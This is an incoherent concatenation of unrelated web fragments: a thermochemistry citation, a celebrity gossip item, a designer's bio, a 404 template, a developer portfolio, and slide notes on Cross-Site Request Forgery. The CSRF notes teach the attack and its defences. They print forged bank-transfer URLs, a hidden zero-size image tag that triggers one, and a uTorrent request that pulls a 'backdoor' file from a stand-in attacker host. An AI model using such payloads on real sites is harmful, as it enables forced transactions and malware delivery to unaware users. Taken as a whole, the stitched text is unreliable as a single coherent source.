Stull, D.R.; Prophet, H.,
JANAF Thermochemical Tables. Second Edition, Office of SRD (NSRDS-NBS 37), Washington, D.C., 1971, 0. [all data]
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7 times birthday girl Aishwarya Rai Bachchan twinned with daughter Aaradhya!
by TIMESOFINDIA.COMAishwarya Rai Bachchan is undoubtedly one of the most beautiful actresses in Bollywood. The star is celebrating her 46th birthday today and her fans can't keep calm. Several fan clubs on social media dedicated to the 'Ae Dil Hai Mushkil' actress have shared some unseen pictures of the diva and we are all hearts!
Apart from a talented actress and a loving wife, Aishwarya is a doting mother to her daughter Aaradhya. Aaradhya is often seen accompanying her mother on most of the occasions. We scrolled her Instagram profile closely and stumbled upon something that might interest you. The star often shares photos of her little princess and her admirers can't stop praising this mother-daughter duo. Every often, they twin in similar colour outfits and it is too adorable for words! Aaradhya looks cute as a button as she twins and we can already see a fashionista in making like her Aishwarya.
We totally love how they shell out major mother-daughter goals with their fashion outings, tell us how did you like it in the comment section below.
Picture Courtesy: Aishwarya Rai Bachchan Instagram, Aaradhya Bachchan's fan club on Instagram


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# Cross Site Request Forgery
## (CSRF)
by Rebecca Meritz
## What:
- Malicious program that causes a user’s web browser to perform an unwanted action on a trusted site when the user is authenticated
## Characteristics
- Involves sites that rely on a user's identity
- Exploits the site's trust in that identity
- Tricks the user's browser into sending HTTP requests to a target site
- Involves HTTP requests that have side effects
## Sessions/Cookies
- HTTP is a stateless protocol
- Sessions allow it to be state-ful
- On authentication the session is then saved in a cookie
- Cookie can be used following requests for temp authentication
- All cookies will be submitted with every request
## Attack Scenario
1) Build a exploit URL/script
```
GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
http://bank.com/transfer.do?acct=MARIA&amount=100000
```
2) Trick another user into executing the URL
```
<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my
Pictures! </a>
<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0"
height="0" border="0">
```
## Real Life Examples
- ING bank transfers
- uTorrnet force torrent download `http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent`
- Netflix `<img src="http://www.netflix.com/JSON/AddToQueue?movieid=70110672"
/>`
## Prevention
- Check users origin + referer header
- Set samesite cookie attribute `SameSite=Strict`
- Force a user to reauthenticate, one-time token or a CATPTCHA
- **Add CSRF tokens to forms**
## CSRF tokens
```
<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken"
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZMGYwMGEwOA==">
...
</form>
```
- Long, unpredictable, unique strings generated by your server
- When forms are submitted check the CSRF token is present an matches the user
- Use in any request changing state (form POST, Ajax/XHR requests)
- State-f ul with synchronizer token || Stateless with encrypted/HMAC token
## Common Mistakes:
- Setting token in URL for GET requests
* Token can easily be stolen as URL info is user leaked via headers
- The human tendency to forget things at times:
* Use wrappers to always add tokens to forms
* Use hook to always check the token
## Cross-site scripting (XSS)
- Someone else running code on your website
- Not necessary for CSRF to work
- Does defeat all CSRF mitigation techniques
- An XSS payload can simply read any page on the site including the token
- Example 2005 Samy worm
## Sources
- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
- https://24ways.org/2018/securing-your-site-like-its-1999
- https://en.wikipedia.org/wiki/Cross-site_request_forgery
- https://medium.com/rubyinside/a-deep-dive-into-csrf-protection-in-rails-19fa0a42c0ef
- https://guides.rubyonrails.org/security.html
- https://rorsecurity.info/portfolio/cross-site-request-forgery-and-rail


I am a fun-loving Brooklyn based art-enthusiast with a focus in graphic design. I have a keen interest in type and language based art and activism or socially engaged design work which has become a part of my primary design practice. I recently acquired my B.A degree in Electronic Design and Multimedia from CCNY Art Dept and was also a recipient of the James R. Steers Prize in Art. I have recently completed a summer internship with Esther K. Smith at Purgatory Pie Press , where I assisted in various bookbinding projects. More recently I designed the main visuals for BMCC's Women's HerStory Month, which were used form events and conferences. I also had the honor to present a solo art exhibiton called Intricacies which was sponsored by BMCC's Women's Resource Center.
I previously acquired an Associate in Multimedia Arts and Communications from Borough of Manhattan Community College, and currently work as a Supplemental Instructor at the Learning Resource Center. My most enjoyable design aspects are hand drawn typography, vector illustration, logo/branding and publishing.
When I’m not designing, I invest my time in photography, henna, painting, calligraphy and bookbinding. I also run an Etsy shop, RubysCornerltd, where I sell handmade craft as a side gig.
Please send your emails and inquiries at this address.
rhussaindesigns@gmail.com


{% extends "torchbox/base.html" %} {% load staticfiles %} {% block content %}
Actually it's likely you followed an out of date link, typed something wrong, or have a bookmark to a page that no longer exists. So please don't fret, card rescinded.
One of the links above will find you on your way.
Photo by DSanchez17


Stephen is a Full-Stack Web Developer who loves learning new langauges. Finding creative solutions for sophisticated problems and writing clean, efficient code are things that inspire him. He utilizes his knowledge of human-computer interactions to design User Interfaces that come intuitively for the end user. While he is fully capable of solo-building complex websites with full database back-end all the way from mock-up to roll-out, he thrives much more working in multi-functional, mutually-empowering, culturally-diverse teams.
After obtaining his Bachelor's in Psychology from UC San Diego in 2016 and becoming a Mental Health Advocate, he realized he had an itch for programming, which drove him to completing a Full-Stack Coding Bootcamp at UCSD Extension in 2018. Today, he codes at Traffic Roots, maintaining and updating their website applications using (mostly, but not limited to): AngularJS, PHP, Laravel, Bootstrap, Wordpress, JQuery, and MySQL. Aside from programming languages, Stephen is also fluent in Mandarin Chinese at a native-speaker level.
Copyright © Stephen Sung 2018
La Jolla, CA 92122
An app with database that stores ratings and reviews for anything one desires. Has user account register and login functionality. Can search for reviews based off of category, item name, or username. Can be used for online store product reviews, or an app such as Yelp.
Similar to a jumbotron at the train station, this real-time database application incorporates Moment.js and a Google Firebase to host arrival and departure data. Provides real-time information about various trains, namely their arrival times, and time-to-arrival from current time. Users may enter additional trains to track, with changes being reflected on the page in real time. The application was built using Google Firebase, Bootstrap, jQuery, and MomentJS.
A simple Javascript game. Players collect different colored gems of different unknown values, and attempt to match a predetermined value to win.
A simple Geography Trivia game using JavaScript and jQuery for logic and manipulating the DOM.
A search engine for upcoming music events and concerts in your area. Presents users with an interface that searches for and displays artists performing live in the area, as well as similar artists. For each result, a visual graphic is shown in a carousel slideshow with show information such as date, time, location, and links to purchase tickets.
* UPDATE: The MusicGraph API is currently down, leading to no search results based on how we designed the JSON flow. To generate results, feel free to input artists into the "artists" array, and run the "searchBandsinTown" function with the array passed in as a parameter (loop through the array).
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